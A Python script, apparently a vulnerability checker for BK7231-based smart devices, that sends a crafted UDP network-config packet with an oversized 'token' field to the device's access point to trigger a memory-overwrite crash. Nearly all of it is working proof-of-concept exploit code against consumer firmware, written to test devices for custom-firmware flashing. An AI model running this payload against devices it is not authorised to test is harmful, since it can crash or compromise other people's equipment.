import struct
import time
import zlib
import socket
import sys

MAX_CONFIG_PACKET_PAYLOAD_LEN = 0xE8

VICTIM_IP = '192.168.175.1'
VICTIM_PORT = 6669

def build_network_config_packet(payload):
    if len(payload) > MAX_CONFIG_PACKET_PAYLOAD_LEN:
        raise ValueError('Payload is too long!')
    # NOTE
    # fr_num and crc do not seem to be used in the disas
    # calculating them anyway - in case it's needed
    # for some reason.
    tail_len = 8
    head, tail = 0x55aa, 0xaa55
    fr_num, fr_type = 0, 0x1
    plen = len(payload) + tail_len
    buffer = struct.pack("!IIII", head, fr_num, fr_type, plen)
    buffer += payload
    crc = zlib.crc32(buffer)
    buffer += struct.pack("!II", crc, tail)
    return buffer

def send_network_config_datagram(datagram):
    client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    client.sendto(datagram, (VICTIM_IP, VICTIM_PORT))

def encode_json_val(value):
    encoded = []
    escaped = list(map(ord, '"\\'))
    escape_char = ord('\\')
    for i in value:
        if i in escaped:
            encoded.append(escape_char)
        encoded.append(i)
    return bytes(encoded)

def check_valid_payload(value):
    eq_zero = lambda x: x == 0
    if any(map(eq_zero, value)):
        print('[!] At least one null byte detected in payload. Clobbering will stop before that.')
    return value

print("This script will attempt to help you lower the chances of prying open a device that won't be exploitable")
print("However, it's not 100% foolproof either, there are more devices that are vulnerable which are not based on")
print("the BK7231 chipset. So, please take that into account.")
print('Before continuing, please set your device in AP mode first. This can usually be accomplished by either:')
print(' - 3 power cycles off and on with ~1 sec between each, wait for the device to fast-blink, then repeat 3 more power cycles')
print(' - Long press the power/reset button on the device until it starts fast-blinking, then release, and then hold the power/reset button again until the device starts slow-blinking.')

answer = input('Is your device now in AP mode? (yes/no) [default: no]: ').lower()

if not 'y' in answer:
    print("Testing requires AP mode. If the device does not have it, it's not exploitable.")
    sys.exit(0)

input("Please connect to the device's AP then hit enter to continue.")

payload = b'{"ssid":"A","token":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x11\x11\x11\x11","passwd":"AAAA"}'

payload = check_valid_payload(payload)

datagram = build_network_config_packet(payload=payload)

for _ in range(5):
    send_network_config_datagram(datagram=datagram)
    time.sleep(0.200)

print("Exploit payload sent! If the device has an LED and now seems to be 'frozen', it's likely exploitable.")
print("Leave it be for ~60 seconds, if its WiFi AP stops showing up then it reboots and 'unfreezes' by itself, then it's almost definitely exploitable.")
